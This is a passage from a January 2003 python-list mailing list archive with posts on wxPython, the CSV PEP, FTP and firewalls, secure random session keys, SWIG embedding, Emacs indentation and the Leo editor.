Tim Daneliuk
tundra at tundraware.com




From LogiplexSoftware at earthlink.net  Tue Jan 21 15:42:07 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 21 Jan 2003 12:42:07 -0800
Subject: wxPython on RedHat 7.3  (GNOME 1.4 I think???)
In-Reply-To: <ef7a350b.0301211200.59463152@posting.google.com>
References: <ef7a350b.0301101318.1fdaeb0c@posting.google.com>
	 <mailman.1042235066.17749.python-list@python.org>
	 <ef7a350b.0301131300.58ad06@posting.google.com>
	 <mailman.1042492466.10176.python-list@python.org>
	 <ef7a350b.0301170933.2990e7af@posting.google.com>
	 <mailman.1042825960.12009.python-list@python.org>
	 <ef7a350b.0301211200.59463152@posting.google.com>
Message-ID: <1043181726.18172.86.camel@software1.logiplex.internal>

On Tue, 2003-01-21 at 12:00, Sean wrote:
> Cliff Wells <LogiplexSoftware at earthlink.net> wrote in message news:<mailman.1042825960.12009.python-list at python.org>...
> > 
> > Hm.  It seems to work fine for me on Redhat 8.0, using wxPython
> > 2.3.4p2.  What version of wxPython are you using?
> 
> I've been using both 2.3.2 and the new 2.4.0.  I'll see about getting
> 2.3.4 on and testing that...

You might also try the CVS version.  There tends to be a flurry of bug
reports after each release and fixes often appear in CVS long before
another release is made.

I'd also bring this up on the wxPython mailing list in case this is a
bug that hasn't been reported yet.

Regards,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From andrew-pythonlist at puzzling.org  Fri Jan 31 08:31:06 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sat, 1 Feb 2003 00:31:06 +1100
Subject: strange solution with ftplib and changed firewall rules
In-Reply-To: <33a15593.0301310036.406c7ac1@posting.google.com>
References: <33a15593.0301310036.406c7ac1@posting.google.com>
Message-ID: <20030131133106.GA15646@frobozz.local>

On Fri, Jan 31, 2003 at 12:36:59AM -0800, PiErre wrote:
[..snip FTP firewall problems..]
> 
> Isn't all this problem twisted? Or is my solution twisted?

Nope, just that FTP and firewalls don't mix.  In fact, FTP is usually a bad
idea.

> Since it seems that quite all the firewalls in the world allows passive
> connections if any should I warn my customer that he could have
> a security problem?

If you're using FTP, regardless of firewalls and active or passive mode, you
probably have a security problem, as it transmits everything, including
authentication details, in the clear.

-Andrew.





From tundra at tundraware.com  Thu Jan 30 11:40:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 30 Jan 2003 16:40:07 GMT
Subject: [win32all]: Problem With Win98
In-Reply-To: <mailman.1043889355.26114.python-list@python.org>
References: <mailman.1043889355.26114.python-list@python.org>
Message-ID: <33kb1b.11a2.ln@boundary.tundraware.com>

Tim Peters wrote:
> [Tim Daneliuk]
> 
>>The following call works fine when applied to a Win 2000 machine, but
>>fails as shown when applied to a Win 98 machine.  I realize that there
>>is a world of difference between older and newer Win implementations
>>viz security, but I would have thought the API would hide these
>>differences.
> 
> 
> Why <wink>? 

Silly me - when I think 'API' it is a fundamentally different
thing that what MS calles an API - you know, abstraction, regularity...

tnx for the explanation ;)



------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From adalke at mindspring.com  Fri Jan 31 19:17:48 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 31 Jan 2003 17:17:48 -0700
Subject: PEP 305 - CSV File API
In-Reply-To: <mailman.1044050476.7110.python-list@python.org>
References: <mailman.1044050476.7110.python-list@python.org>
Message-ID: <b1f3ni$jgt$1@slb9.atl.mindspring.net>

Skip Montanaro wrote:
> A new PEP (305), "CSV File API", is available for reader feedback.  This PEP
> describes an API and implementation for reading and writing CSV files.

  - It's titled "Comma Separated Values" but handles separaters other
than comma.  I liked DSV for the more generic name.  I suppose the "C"
could also stand for "Character".  In any case, mention early that
other delimiters are also allowed.

The ones I use most often are, in order, '\t', ' ', whitespace (\s+),
','.  Yep, comma is pretty far down my list.


   - There isn't anything which descibes how to interface with the
'row' returned from iterating over a reader, or what should be sent
to the writer.  At least not that I could find.  I assume it's a list.



   - I've had success with an API like this

for row in TabFileWithHeader(open("input.txt")):
   print row["pH"]

That is, the first line is a header description, and the row object
returned is both indexable as a list and accessible by name, as
shown.

I think the same can be built as a layer on top of this PEP,

for row in HeaderReader(csv.reader(file("input.txt"))):
    print row["pH"]


  ... Ahh, that's your comment "What about an option to
generate list-of-dict output".  Another solution is my MultiKeyDict
package, which keeps the values in sorted order.


   - I prefer 'append' over 'write'

Consider a copy.  Under the current scheme

   def copy(input, output):
     for row in input:
       output.write(row)

This allows the input to be a list or a csv.reader or any other
iterable objects.  However, output objects must implement the
'write' method, which for other cases is something which takes
a string, not something which takes an object.

OTOH, consider

   def copy(input, output):
     for row in input:
       output.append(row)

This lets me pass in a list as the output -- very handy when
I decide I want to display the output to, say, the screen instead
of save to a file.  I don't have to implement a wrapper object
like

class _adapter:
   def __init__(self, output):
     self.output = output
   def write(self, x):
     self.output.append(x)

And, people expect that 'append' takes an object, not a string.

					Andrew
					dalke at dalkescientific.com




From Dick.Zantow at lexisnexis.com  Mon Jan 13 10:37:42 2003
From: Dick.Zantow at lexisnexis.com (rzed)
Date: Mon, 13 Jan 2003 10:37:42 -0500
Subject: [OT] Seeking Minimal Python Project Name
References: <3e22b7f7@news.swissonline.ch>
Message-ID: <avumi7$apb$1@mailgate2.lexis-nexis.com>

F. GEIGER wrote:
> Seems somebody has started a competition in finding names for
> Minimal Python.
>
> Minimal Python -> Mython.
>
> Children's Python (this kind of pythons really exists, German:
> Zwergpython) -> Chython
>
> Small Python -> Smython
>
> Dwarf + Python -> Dwython
>
> What about an other kind of snake, preferably a small one: Mamba.
>
> Any snake adicts hanging around here?
>

We should rule out "half-asp" from the start.

--
rzed





From cnetzer at mail.arc.nasa.gov  Wed Jan 22 15:55:59 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 22 Jan 2003 12:55:59 -0800
Subject: dynamic variables; globals
In-Reply-To: <20030122165944.GB6774@meson.dyndns.org>
References: <3E2E8A95.FE285970@ncsa.uiuc.edu> <3E2E9902.60EBB96C@ncsa.uiuc.edu> <20030122165944.GB6774@meson.dyndns.org>
Message-ID: <200301222056.MAA32359@mail.arc.nasa.gov>

On Wednesday 22 January 2003 08:59, Jp Calderone wrote:
> On Wed, Jan 22, 2003 at 07:13:38AM -0600, Randy Heiland wrote:
> > [snip]
> >
> > Thanks.  And if I want to use the RExec module instead?
>
>   You almost certainly do not.  It is not secure, and in all
> likelyhood it will be removed from the stdlib in one of the next few
> releases.

It'll probably be gone by default from 2.3 (although with a little 
effort can be re-enabled for those who really want it).

Guido is, apparently, hoping it'll become useful again, but someone has 
to make the effort to "harden" it, at least back to the level it was in 
the 1.5-ish days (it needs work to handle new-style classes, etc.)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From nav at adams.patriot.net  Fri Jan 31 12:16:53 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 31 Jan 2003 12:16:53 -0500
Subject: Scripting *of* Python
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it>
Message-ID: <yyyvg05kzne.fsf@adams.patriot.net>

Alex Martelli <aleax at aleax.it> writes:

> (Which is why I managed to put in a LITTLE coverage of Twisted,
> just twisted.internet actually, in "Python in a Nutshell" --
> which I should be busy proofreading _right now_ rather than
> skimming c.l.py -- it should be in bookstores in March...)

This thread is just full of product placement.

*grumble*

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From edcjones at erols.com  Thu Jan 30 21:23:28 2003
From: edcjones at erols.com (Edward C. Jones)
Date: Thu, 30 Jan 2003 21:23:28 -0500
Subject: What do you think of the Lush C interface?
Message-ID: <b1cmc7$qou$1@bob.news.rcn.net>

I have just stumbled across a language calles "lush". See
"http://lush.sourceforge.net/". What do you all think about the
internals of this language? About the CLush compiler? And the
relationship between Lush and C? Here is a section of the manual:

     1.13. Calling C functions from Lush

     The ability to freely mix Lisp and C code is one of the most
     interesting features of Lush.

     Let's say you have written a C file called titi.c with the
     following content:

       float sq(float x)
       {
         return x*x;
       }

     You have compiled the file and produced the object file titi.o.
     Calling sq from the Lush interpreter is as simple as the
     following. First, dynamically load the object file into Lush

       ? (mod-load "titi.o")

     then, write a lisp function whose only purpose is to call sq.

       ? (de square (x) ((-float-) x)
             (cpheader "extern float sq(float);")
             (to-float #{ sq( $x ) #} ))

     Here is what the above means: (de square (x) ...) means define a
     new Lisp function called square with a single argument x.
     ((-float-) x) simply declares x as float. (to-float ....) converts
     its argument to float (like a cast in C). The sequence #{ .... #}
     allows to insert C code within Lisp code. Therefore #{ sq( $x ) #}
     simply calls the C function sq and returns the result. Lisp
     variables can be inserted in in-line C code by prepending a Dollar
     sign, thus $x refers to the Lisp float variable x. The cheader
     directive allows one to include a string in the "header" section
     of the C files generated by the Lisp to C compiler. We use it here
     to specify the type of the argument and the return value of sq.

     We can now compile the above function using:

       ? (dhc-make () square)

     Two file C/square.c and C/i686-pc-linux-gnu/square.o will be
     generated with the C source and the object code for square. The
     object code will be automatically loaded into Lush. Now square can
     be called from the Lisp interpreter:

       ? (square 5)
       = 25

     In the above example, the to-float casting function was used to
     tell the compiler what type the returned value has. The following
     "cast" functions are available: to-float, to-int, to-double,
     to-bool, to-gptr. These functions cast their argument to the
     corresponding type.




From phr-n2003b at NOSPAMnightsong.com  Mon Jan 27 18:16:09 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 27 Jan 2003 15:16:09 -0800
Subject: Generating Unique Keys
References: <1043511783.4939.1.camel@refugeeMedia> <mailman.1043531155.16388.python-list@python.org> <7xfzrgq3su.fsf@ruckus.brouhaha.com> <200301272205.OAA25820@mail.arc.nasa.gov> <mailman.1043706410.8505.python-list@python.org>
Message-ID: <7xk7gq2ngm.fsf@ruckus.brouhaha.com>

Skip Montanaro <skip at pobox.com> writes:
>     Chad> In this case, it depends on on the implementation of random().
>     Chad> Python's default random.random() is NOT anywhere near
>     Chad> unpredictable enough to be secure.  If you see a sequence of
>     Chad> random numbers, it is possible (in principle) to 'solve' the seed
>     Chad> and sequence, and start predicting the next random numbers.  The
>     Chad> details typically amount to solving a linear difference equation
>     Chad> (which is doable).
> 
> Is this also true for the new-in-2.3 random number generator (Mersenne
> Twister)?  I'm not trying to pick nits with your arguments, just asking.  I
> know nothing about cryptography or random number generation.

Yes.  Mersenne Twister tries to have good statistical properties so
that your simulations won't be biased by accident.  But it makes no
attempt at all to thwart malicious attacks.  Also, the implementations
I've seen (I haven't looked at 2.3's) use just a 32-bit initial seed,
so it's fairly quick for an attacker to search this whole 32-bit space.

The right way to get secure random strings on Linux or *BSD is just
read the number of bytes you want from the /dev/urandom device.  On
Windows, the right way is to call the Windows CAPI function
"CryptGenRandom":

   http://msdn.microsoft.com/library/default.asp?url=/library/en-us/security/security/cryptgenrandom.asp

Shorter url for same page:

   http://tinyurl.com/4z0q

It would be good if someone could write a Python wrapper around
CryptGenRandom for Windows for inclusion in the standard library.



From lac at strakt.com  Wed Jan 29 13:02:37 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 19:02:37 +0100
Subject: Any AIX experts out there? 
In-Reply-To: Message from claird@lairds.com (Cameron Laird) 
   of "Wed, 29 Jan 2003 14:33:52 GMT." <v3fpig1eo2rn6c@corp.supernews.com> 
References: <mailman.1043819092.30996.python-list@python.org> <v3fpig1eo2rn6c@corp.supernews.com> 
Message-ID: <200301291802.h0TI2cjL028005@ratthing-b246.strakt.com>

> In article <mailman.1043819092.30996.python-list at python.org>,
> Laura Creighton  <lac at strakt.com> wrote:
> >The Snake Farm is having trouble building Python on AIX.
> >See: http://lists.lysator.liu.se/pipermail/snake-farm/2003-January/000654.ht
> ml
> >
> >Does anybody recognise these symptoms?
> >
> >Laura Creighton
> >
> 
> Dynamic loading, yeah.  I used to be good with AIX.
> The solution probably is heavily dependent on version.
> It's unlikely I can do this as volunteer work.  Is
> this for you, or are you just helping out?
> -- 
> 
> Cameron Laird <Cameron at Lairds.com>
> Business:  http://www.Phaseit.net
> Personal:  http://phaseit.net/claird/home.html
> -- 
> http://mail.python.org/mailman/listinfo/python-list

It is for GvR, and for all of us -- so that we have a Python 2.3 that runs
on AIX, which we don't now, and for making the Python-in-a-Tie Release
for the PBF.  see http://www.lysator.liu.se/~sfarmer/

Just letting us know that we are building this with the correct options
would be a big help.  See 

http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&th=d326c817ecbbdebf &seekm=pan.2002.11.09.15.11.51.389948.12688%40metaslash.com

Thanks very much,
Laura Creighton




From sholden at holdenweb.com  Wed Jan 15 11:43:11 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 15 Jan 2003 16:43:11 GMT
Subject: Newbie: How to connect to MySQL?
References: <mailman.1042643607.2959.python-list@python.org>
Message-ID: <zcgV9.3544$YI5.1850@news2.central.cox.net>

"Eduardo Cancino" <lalo at ciceana.org.mx> wrote in message
news:mailman.1042643607.2959.python-list at python.org...
> Hi everybody!
>
> I downloaded the mysql-python from sourceforge, and I tried to install
> it on my Mac0S 10.2.1
> but even i have the Developer tools the:
>
> python setup.py build
> python setup.py install
>
> commands doesn't find my compiler.
>
> I looked in www.python.org, some of this but didn't find it.
>
> Where I cand find a installing tutorial or something i can get to start
> programming python with databases?
>
> Is there a db module like dbi in perl?
> And the cgi module works as the perl one?
>
>

Eduardo:

I can't answer your question as to why your command-line isn't finding the
Python interpreter. That's another issue. However, if you're sure you have
/usr/bin/python then as long as setup.py is marked as executable the command

    setup.py build

should work.

As far as your questions about "is there a db module", Python database
modules should conform the the Python DB API version 2, thereby offering a
reasonably standard interface. You can find a description at

    http://www.python.org/peps/pep-0249.html

The MySQLdb module you have downloaded offers a fairly complete
implementation, along wiht a few added tweaks and wrinkles like "dictionary
cursors".

As for the CGI module: walk before you run! ;-)

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From db3l at fitlinxx.com  Mon Jan 27 12:58:39 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 27 Jan 2003 12:58:39 -0500
Subject: Emacs has eaten my python tabs!!!
References: <1043563632.4966.71.camel@refugeeMedia> <1043595434.1388.2.camel@refugeeMedia> <15924.1359.334067.544435@montanaro.dyndns.org> <mailman.1043603506.19237.python-list@python.org>
Message-ID: <uy956pj8w.fsf@fitlinxx.com>

Sean 'Shaleh' Perry <shalehperry at attbi.com> writes:

> On Sunday 26 January 2003 07:57, Skip Montanaro wrote:
> >     Mongryong> Doesn't python rely on tabs?
> >
> > Nope.  It relies on indentation.  I believe TAB characters advance the
> > indentation to the next multiple of eight columns.
> >
> > Skip
> 
> more explicitly it relies on whitespace characters.  2 spaces, one
> tab, it does not matter as long as each block is consistent in the
> type and amount of whitespace used.

Well, if we're talking explicit (:-)), then it certainly matters to
how the tokenizer internally computes indentation.  It evaluates tabs
as being representative of some number of spaces, and is always
computing the current column depth of the source - it then emits
INDENT and DEDENT tokens which is what the interpreter really
executes code based on.

It's true that as long as you stick strictly to tabs or spaces within
a given file, that being consistent should be sufficient for the
interpreter to "see" blocks the same way you do in any editor, and you
don't really need to know how the text is being parsed.  But if you
ever end up with a mixed file, it's important to know how the
interpreter treats tabs or else even if a single block is consistent,
you might not know how the intepreter treats that block in relation to
other blocks.

Internally, the Python tokenizer will always translate a tab as if it
was the appropriate amount of space characters to indent to the next
8-column boundary.  See Chapter 2's indentation section in the
language reference. (*)

Knowing the internal tab size is important since mixed text (tabs and
spaces) may appear to line up visually in an editor, but if that
editor is configured to something other than 8-column tabs, it may not
match what the interpreter will "see" when parsing the same file.

Of course, as multiple people have pointed out, the best way to avoid
the confusion is to just stay away from mixed tab/space files.

(*) As also noted in this thread, an attempt to detect some editor
comments in a file indicating tab size (and overriding the interpreter
default of 8 character columns) does exist in the tokenizer - it
understood vi from at least 1.5.2, and vim/emacs from 1.6 onwards.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From lac at strakt.com  Tue Jan 21 15:32:18 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 21 Jan 2003 21:32:18 +0100
Subject: anybody know where I can get a copy of a NeXT style guide?
Message-ID: <200301212032.h0LKWIJo013526@ratthing-b246.strakt.com>

Does such a beast exist?  Google isn't being helpful.

Laura Creighton




From logistix at zworg.com  Mon Jan 27 21:24:25 2003
From: logistix at zworg.com (logistix)
Date: 27 Jan 2003 18:24:25 -0800
Subject: Generating Unique Keys
References: <1043511783.4939.1.camel@refugeeMedia>        <15922.49110.110304.235838@montanaro.dyndns.org>        <1043515752.4943.10.camel@refugeeMedia> <mailman.1043516445.19926.python-list@python.org>
Message-ID: <bdb5b58f.0301271824.55f4a3df@posting.google.com>

Skip Montanaro <skip at pobox.com> wrote in message news:<mailman.1043516445.19926.python-list at python.org>...

> 
>     Mongryong> For session keys, is their a way in Python to grap a client's
>     Mongryong> MAC address.  If so, is there any security concern with using
>     Mongryong> a client's MAC address?
> 
> There's no MAC address information in the HTTP headers.  There is the
> client's IP address, but for proxies and NAT stuff that obviously won't be
> good enough.  I'd just use a random number.
> 

To elaborate on this, DON'T use the MAC address.  It doesn't get
routed (it's only valid within a subnet)  Even if you could grab it
directly from a network packet, anything outside of your subnet will
have it's MAC address replaced by your router's MAC.  So it'd work
fine when you ran it in your test lab, but would be incredibly
buggy/insecure in production.



From LogiplexSoftware at earthlink.net  Mon Jan  6 00:27:58 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 05 Jan 2003 21:27:58 -0800
Subject: new years resolutions
In-Reply-To: <avahot$1ji$1@nyheter.chalmers.se>
References: <mailman.1041550805.3550.python-list@python.org>
	 <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03>
	 <200301041905.h04J5njL016319@ratthing-b246.strakt.com>
	 <mailman.1041710048.20334.python-list@python.org>
	 <avahot$1ji$1@nyheter.chalmers.se>
Message-ID: <1041830877.1370.1487.camel@software1.logiplex.internal>

On Sun, 2003-01-05 at 16:14, Jacob Hallen wrote:
> In article <mailman.1041710048.20334.python-list at python.org>,
> Cliff Wells  <clifford.wells at attbi.com> wrote:
> >"The world is divided into two kinds of people: Those who divide the
> >world into two kinds of people, and those who don't."
> >    Robert Benchley
> 
> The world is divided into three kinds of people. Those who can count and
> those who can't.

And the *fourth* kind would be people who don't read entire articles
before replying to them ;)


For the irony-impaired: think about it <wink>

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From spam at al-queda.org  Tue Jan 28 18:27:53 2003
From: spam at al-queda.org (Aum)
Date: Wed, 29 Jan 2003 12:27:53 +1300
Subject: Hacking Heaven - Leo+XEmacs Integrated
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz> <mailman.1043790291.22980.python-list@python.org>
Message-ID: <pan.2003.01.28.23.27.53.263241@al-queda.org>

On Tue, 28 Jan 2003 16:39:46 -0500, Jack Diederich wrote:

> On Tue, Jan 28, 2003 at 09:18:25PM +1300, Aum wrote:
>> Some months ago, the 'metastructural' editor 'Leo' (http://leo.sf.net) got 
>> covered on Slashdot. Seeing the power it offered to boost my productivity 
>> with code editing, I immediately downloaded it.
>> 
> 
> I looked at the leo site, and a bunch of Literate Programming sites
> and the intros all sucked.  hard.  Couldn't be more vague.


The concept of Literate Programming can feel very vague if one is
accustomed to 1-D and 2-D editors.


> Do you have a favorite one-pager intro?


A picture tells a thousand words. Check out a screenshot at:
http://www.freenet.org.nz/downloads/leo-screenshot.gif
This shows a Leo window on the left, and XEmacs on the right.

Whenever you click on a node in the Leo window, that piece of code gets
opened as a buffer in XEmacs. When you save the buffer in XEmacs, Leo
detects this and saves it out to the source file.

Leo gives you an abstract view of your code. Also, something the
screenshot doesn't show, is that it lets you create different 'views', so
you can represent your code in different paradigms.

It's saving me buckets of time and sweat.


> I like the concept but it is very 
> ill-defined.  Even a couple paragraphs about how you use/how it changed your 
> cycle it would be nice.


Traditionally, physical files and directories are the mechanisms for
grouping pieces of code. With Leo, you create your own grouping paradigms,
and it matters very little which *physical* files you code gets stored
into. You're free to follow the traditional grouping, and put stuff into
files and directories according to logical function, but you can stray
from this at any time.

One of Leo's most powerful features is 'cloning' - the ability to create a
cloned copy of a node on its tree. This means that the same *physical*
node appears on the tree in 2 or more *logical* places.

One great use of cloning is when you have repeated code - the same bunch
of statements that you want to appear in multiple places in the same or
different files. In languages like C, you'd use the clunky '#include'
mechanism. But with Leo, you can clone nodes all over the place, nodes
that each have zero or more child nodes.

Another use of cloning is doco - by creating an abstract view, separate to
the physical view, you can create an outline that walks people through
your code very quickly and intuitively.

I think the best way to comprehend of the 3-D (n-D?) freedom Leo offers is
to download/install it and try it out. It has this nice 'import' feature,
where it can read in existing source files in many languages (python,
perl, C/C++, PHP, etc), and slice 'em up into their component parts -
classes, functions, struct defs etc. On the Leo node pane, these files are
automatically shown as trees of components.

It's saved me a lot of time, because it's freed me from the menial
distraction of worrying about what files contain what pieces, and it
empowers me to see the 'forest' *and* the 'trees' at all times.


> Obviously it would be the view of a convert, but I'd like to hear about
> how it works in practice.  Unless a project has everyone using the same
> tool, is it hard to publish or hard to incorporate patches from people
> that aren't using it?


The recent 'open-with' feature in Leo allows team participation with code
editing.

And if people refuse to use Leo, just ask them to leave Leo's source code
markups intact. Leo will then be able to read in the changed raw source
files and update its own tree representation automatically.


> I'll-try-anything-that-makes-me-more-productive-ly,


Within a couple of hours, Leo will definitely do that :)

Cheers
A




From carl_bevil at yahoo.com  Fri Jan 24 18:57:23 2003
From: carl_bevil at yahoo.com (Carl Bevil)
Date: Fri, 24 Jan 2003 15:57:23 -0800
Subject: Using SWIG to build Python extensions -- help!
References: <CFN376455138856829@news.mindspring.com>
Message-ID: <CFN376456648599421@news.mindspring.com>

I've gotten a bit further on this.  I've added an entry called "swigtest" into 
my _PyImport_Inittab table, and I've traced in and it appears as if my init 
function is getting called.

But now I get a message:

Traceback (most recent call last):
  File "<string>", line 1, in ?
SystemError: _PyImport_FixupExtension: module swigtest not loaded

Tracing into the interpreter I'm not sure exactly what is going on (not being 
familiar with how the interpreter works).  But it appears that the problem 
occurs here:

PyObject *
_PyImport_FixupExtension(char *name, char *filename)
{
	PyObject *modules, *mod, *dict, *copy;
	if (extensions == NULL) {
		extensions = PyDict_New();
		if (extensions == NULL)
			return NULL;
	}
	modules = PyImport_GetModuleDict();
	mod = PyDict_GetItemString(modules, name);
[...]

..at the last line above.  Both name and filename are set to the same address 
(which is the string "swigtest").  mod is NULL after this statement's execution.

I've been searching the web for information, but to me it looks like I'm doing 
everything correct.  Anyone out there have any ideas or suggestions?

Thanks!

Carl

On Fri, 24 Jan 2003 12:19:59 -0800 Carl Bevil <carl_bevil at yahoo.com> wrote:

> Hello all.  I'm experimenting with using SWIG to build a Python extension.  
I 
> have a really simple C++ file that I'd like to extend Python with as a test.
> 
> I'm building the interpreter as a library that I statically link into my 
main 
> application.  Dynamic linking is not an option for my target platform, so 
I've 
> downloaded the Python source code.  I'm using Python 2.1.3.
> 
> I create two files, swigtest.cpp and swigtest.h.  swigtest.h has a function 
> prototype, and swigtest.cpp has the function body.
> 
> Then I run SWIG:
> 
> swig -python -c++ -module swigtest swigtest.h
> 
> This builds two files: swigtest.py and swigtest_wrap.cxx.  I rename the 
latter 
> to swigtest.cpp, as the compiler I'm using (Metrowerks) doesn't like .cxx 
files.
> 
> Then I compile and link swigtest_wrap.cpp and swigtest.cpp into the python 
> interpreter, creating a python21_d.lib file (I'm on Windows).
> 
> Then I build my main application (a C++ app), and link it statically with 
the 
> python interpreter library that I just built.
> 
> When I run, I execute the following statement:
> 
> PyRun_SimpleString("import swigtest");
> 
> ... and I get an error that there is no module named swigtest.
> 
> What am I doing wrong here?  And do I need to do anything with the 
swigtest.py 
> file that SWIG creates? I've read the chapter in O'Reilly's Programming 
Python 
> on extending Python, but it makes no mention of SWIG generating a .py file.  
> And all of its examples are dynamically linked.
> 
> Thanks!
> 
> Carl
> 



From tismer at tismer.com  Wed Jan 15 12:18:07 2003
From: tismer at tismer.com (Christian Tismer)
Date: Wed, 15 Jan 2003 18:18:07 +0100
Subject: Pferdemarkt.ws informiert! Newsletter 01/2003
In-Reply-To: <slrn.pl.b2b49c.5oh.jzgoda@kotek.home>
References: <mailman.1042634067.4519.python-list@python.org> <slrn.pl.b2b49c.5oh.jzgoda@kotek.home>
Message-ID: <3E2597CF.9000400@tismer.com>

Jarek Zgoda wrote:
> webmaster at pferdemarkt.ws <webmaster at pferdemarkt.ws> pisze:
>  
> 
>>http://www.pferdemarkt.ws
>>
>>Wir sind in 2003 erfolgreich in des neue \"Pferdejahr 2003 gestartet.
> 
> 
> What has python with horses in common?
> Both start with "p" in German... (if I recall my lessons from school
> days). ;)

Grrr! This should probably introduce another round
of spam filtering discussion.
These guys managed to post into *every* Python list
that I have!

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/





From exarkun at intarweb.us  Fri Jan 24 12:57:41 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 12:57:41 -0500
Subject: Sharing method code between class instances
In-Reply-To: <tPydnYzWiJs2-qyjXTWcpg@comcast.com>
References: <tPydnYzWiJs2-qyjXTWcpg@comcast.com>
Message-ID: <20030124175741.GB15614@meson.dyndns.org>

On Fri, Jan 24, 2003 at 10:19:53AM -0600, Larry Bates wrote:
> I have a question about how to share code between classes.  I've searched
> and just can't find anything that is clear enough for me to understand.
> 
> Consider: I have a simple class that will hold a field and formatting
> (and eventually much more) information.
> 
> [snip]

  Code first.  Test second.  Profile third.  Optimize last.

  You're concerned about something that isn't a problem.

  Jp

-- 
A sad spectacle.  If they be inhabited, what a scope for misery 
and folly.  If they be not inhabited, what a waste of space.
                -- Thomas Carlyle, looking at the stars
-- 
 up 39 days, 21:49, 1 user, load average: 0.81, 0.64, 0.57
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/8190ba5a/attachment.sig>

From donn at u.washington.edu  Wed Jan  8 18:28:30 2003
From: donn at u.washington.edu (Donn Cave)
Date: 8 Jan 2003 23:28:30 GMT
Subject: Laura's List - was Re: new years resolutions
References: <mailman.1041872080.15063.python-list@python.org>  <2259b0e2.0301070445.698adc9e@posting.google.com>   <200301080357.h083v0jL005109@ratthing-b246.strakt.com>  <mailman.1041999800.30291.python-list@python.org>  <2259b0e2.0301080624.572fac26@posting.google.com> <mailman.1042057951.5649.python-list@python.org>
Message-ID: <avic6u$1e7u$1@nntp6.u.washington.edu>

Quoth Andrew McGregor <andrew at indranet.co.nz>:
| Don't the best notations look cleaner, have less 'line noise'-like glyphs 
| in them?
...
|> Andrew McGregor <andrew at indranet.co.nz> wrote in message
|> news:<mailman.1041999800.30291.python-list at python.org>...
...
|>> I think the driving force is that a clean design takes more typing in
|>> Perl,  whereas in Python it's usually much, much less.

I'm no fan of line noise, but all by itself I'm sure you will agree that
it's a pretty superficial way to think about languages.

I think the problem in either language is really the same, it's the user's
weakness for an expedient hack.  Python may provide fewer opportunities,
but it's relative, and Perl is not a very interesting comparison, is it?
I mean, I'm nicer than Jenghiz Khan, but so what?

	Donn Cave, donn at u.washington.edu



From wolfson at midway.uchicago.edu  Sat Jan  4 14:58:03 2003
From: wolfson at midway.uchicago.edu (Ben Wolfson)
Date: Sat, 04 Jan 2003 19:58:03 GMT
Subject: Applications/examples of some advanced Py features, please !
References: <5a969143.0301040712.4cd2ad10@posting.google.com> <av7e51$a79$1@slb0.atl.mindspring.net>
Message-ID: <qmfe1v4qslklipqrrf9kkm0h3t0pdpguve@4ax.com>

On Sat, 04 Jan 2003 12:46:37 -0700, Andrew Dalke <adalke at mindspring.com>
wrote:

>1. Don't use lambda.
>
>It's good for a few things, but in many cases you should use a
>list comprehension.  For an example, cgi.py has
>
>      plist = map(lambda x: x.strip(), line.split(';'))
>
>as a list comprehension this is more more clearly written as
>
>      plist = [x.strip() for x in line.split(';')]

I think this is even more clear written as

    plist = map(str.strip, line.split(';'))

-- 
You're going to set me up as a kind of slovenly attached pig that
Jack Kornfeld can slice down in his violent zen compassion?
 -- Larry Block



From python.newsgroup at REMOVE.paulnilsson.com  Thu Jan 23 05:21:14 2003
From: python.newsgroup at REMOVE.paulnilsson.com (Havok)
Date: Thu, 23 Jan 2003 11:21:14 +0100
Subject: pgame GUI
Message-ID: <09gv2vsva0mhvc7pb66fscr3aracv5on7l@4ax.com>

Does anyone here know of a gui thats compatible with pygame in openGL
mode (and preferably non openGL SDL as well). I've looked around and
